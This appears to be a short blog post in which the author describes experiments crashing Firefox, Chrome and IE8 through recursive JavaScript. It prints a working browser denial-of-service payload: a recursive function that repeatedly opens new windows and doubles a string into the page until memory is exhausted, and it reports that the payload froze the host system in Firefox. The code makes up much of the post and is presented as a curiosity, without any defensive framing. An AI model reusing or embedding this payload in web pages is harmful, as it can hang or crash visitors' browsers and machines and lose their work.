[FF]ucking up Firefox

-

The other day I was contemplating recursion and wondered just how destructive it might be when misused in a web browser.

I spent the weekend experimenting with different was to crash a web browser by "infinite looping as hard as you can." A straight while(true){...} got noticed but Firefox and Chrome and as such, were not run. However using a simple recursive function got a around this, and that was left was to do was to fill up memory and spawn lots of extra processes:

function ffuck(bar) 
{
	setTimeout("window.open('[FF]uck.php')",Math.random()*1000);
	document.all[0].innerHTML = (bar+"uck");
	bar += bar;
        return ffuck(bar);
}
ffuck("f");

The results of this were varied: in Firefox the host operating system would grind to a halt while Firefox slowly shat itself to death. Chrome would slow to a crawl, eventually producing its "unhappy tab" icon. IE8 did a very strange thing and attempted to download the file itself rather than render it.

Now I wondered if a normal recursive function could be so incredibly disruptive to browser behavior what would happen to an recursively increasing feedback loop? That's an experiment for another time.

Comments

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Lines and paragraphs break automatically.
  • Textual smileys will be replaced with graphical ones.
  • Syntax highlight code surrounded by the {syntaxhighlighter OPTIONS}...{/syntaxhighlighter} tags.

More information about formatting options